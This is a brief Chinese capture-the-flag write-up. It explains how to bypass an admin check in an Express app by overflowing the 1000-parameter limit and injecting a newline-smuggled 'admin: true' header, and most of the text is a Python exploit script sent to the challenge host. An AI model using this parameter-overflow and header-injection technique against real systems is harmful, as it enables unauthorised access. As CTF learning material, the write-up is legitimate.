打开环境下载附件,得到源码
发现是Express框架,对源码进行代码审计
Express框架的特点是当我们传入的参数超过1000个时,之后的参数会被舍弃掉,输入"admin":"a"设置好admin的值,再加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。
找到大佬们写的Python脚本
import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:50745/" # 定义目标 URL
# 定义要发送的数据
datas = {
"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"], # 请求头部信息
"params": {"admin": "true"} # 请求参数
}
# 向请求参数中添加 1020 个键值对
for i in range(1020):
datas["params"]["x" + str(i)] = i
headers = {
"Content-Type": "application/json" # 定义 HTTP 头部信息,指定内容类型为 JSON
}
# 将数据转换为 JSON 格式
json1 = json.dumps(datas)
print(json1) # 打印 JSON 数据
# 发送 POST 请求
resp = requests.post(url, headers=headers, data=json1)
# 打印响应内容
print(resp.content)
运行后得到flag